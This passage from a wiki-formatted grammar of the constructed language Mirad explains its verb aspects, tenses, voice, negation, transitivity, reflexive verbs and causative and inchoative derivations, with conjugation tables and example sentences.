: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
